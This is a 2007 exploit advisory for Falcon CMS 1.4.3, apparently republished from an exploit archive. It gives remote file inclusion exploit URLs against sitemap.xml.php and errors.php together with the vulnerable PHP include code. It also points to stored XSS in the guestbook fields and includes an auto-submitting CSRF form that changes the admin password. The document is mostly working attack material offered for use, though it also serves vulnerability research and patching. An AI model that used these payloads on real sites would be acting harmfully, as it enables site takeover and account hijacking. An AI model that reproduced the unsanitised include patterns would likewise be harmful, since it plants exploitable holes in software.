Falcon CMS 1.4.3 (RFI/XSS) Multiple Remote Vulnerabilities

🗓️ 11 Dec 2007 00:00:00Reported by RootType

Falcon CMS 1.4.3 (RFI/XSS) Multiple Remote Vulnerabilities. High severity. Exploits for Remote File Inclusion, Permanent XSS and CSRF vulnerabilities


                                                ---------------------------------------------------------------
&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__________&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;____&nbsp;&nbsp;__&nbsp;&nbsp;
/_&nbsp;&nbsp;&nbsp;|&nbsp;____&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|__\_____&nbsp;&nbsp;\&nbsp;&nbsp;_____/&nbsp;&nbsp;|_&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;/_&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;|_
&nbsp;|&nbsp;&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|&nbsp;_(__&nbsp;&nbsp;&lt;_/&nbsp;___\&nbsp;&nbsp;&nbsp;__\&nbsp;&nbsp;______&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;__\
&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;\&nbsp;&nbsp;&nbsp;|&nbsp;&nbsp;|/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\&nbsp;&nbsp;\___|&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;/_____/&nbsp;&nbsp;|&nbsp;&nbsp;&nbsp;||&nbsp;&nbsp;|&nbsp;
&nbsp;|___|___|&nbsp;&nbsp;/\__|&nbsp;&nbsp;/______&nbsp;&nbsp;/\___&nbsp;&nbsp;&gt;__|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|___||__|&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/\______|&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\/&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
---------------------------------------------------------------
Http://www.inj3ct-it.org&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Staff[at]inj3ct-it[dot]org&nbsp;
---------------------------------------------------------------
&nbsp;&nbsp;Multilple&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;-&nbsp;Permanent&nbsp;Xss
---------------------------------------------------------------
#&nbsp;Author:&nbsp;MhZ91
#&nbsp;Title:&nbsp;Falcon&nbsp;Series&nbsp;One&nbsp;-&nbsp;Multilple&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;+&nbsp;Permanent&nbsp;Xss
#&nbsp;Download:&nbsp;http://sourceforge.net/projects/falconcms/
#&nbsp;Bug:&nbsp;Multilple&nbsp;Remote&nbsp;File&nbsp;Inclusion&nbsp;+&nbsp;Permanent&nbsp;Xss
#&nbsp;Severity:&nbsp;High
#&nbsp;Visit:&nbsp;http://www.inj3ct-it.org
---------------------------------------------------------------
Exploit:&nbsp;http://[site]/sitemap.xml.php?dir[classes]=[Evil_Code]
Vuln&nbsp;code:&nbsp;@include_once&nbsp;($dir['classes'].&quot;class.pages.php&quot;);
---------------------------------------------------------------
Exploit:&nbsp;http://[site]/errors.php?error=[Evil_Code]
Vuln&nbsp;code:&nbsp;&lt;?include($_REQUEST[&quot;error&quot;]&nbsp;.&nbsp;&quot;/errors.php&quot;);?&gt;
---------------------------------------------------------------
Permanent&nbsp;Xss&nbsp;at&nbsp;http://[site]/index.php?guestbook=v&nbsp;in&nbsp;the&nbsp;input&nbsp;gb_mail,&nbsp;gb_name&nbsp;and&nbsp;textarea&nbsp;gb_text&nbsp;your&nbsp;[Xss]&nbsp;and&nbsp;after&nbsp;the&nbsp;xss&nbsp;work&nbsp;here&nbsp;index.php?guestbook=v&nbsp;:p
---------------------------------------------------------------
Simple&nbsp;1337&nbsp;Csrf&nbsp;exploit:
&lt;form&nbsp;name=&quot;form_change&quot;&nbsp;action=&quot;http://[site]/index.php?admin=changepass&quot;&nbsp;method=&quot;post&quot;&gt;
&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;f_pass&quot;&nbsp;class=&quot;field&quot;&nbsp;value=&quot;[YourPWD]&quot;&nbsp;/&gt;
&lt;input&nbsp;type=&quot;hidden&quot;&nbsp;name=&quot;f_pass2&quot;&nbsp;class=&quot;field&quot;&nbsp;value=&quot;[YourPWD]&quot;&nbsp;/&gt;
&lt;/form&gt;&lt;script&gt;document.form_change.submit()&lt;/script&gt;
There&nbsp;is&nbsp;other&nbsp;more&nbsp;csrf&nbsp;and&nbsp;permanent&nbsp;xss..&nbsp;

11 Dec 2007 00:00Current

7.1High risk

Vulners AI Score7.1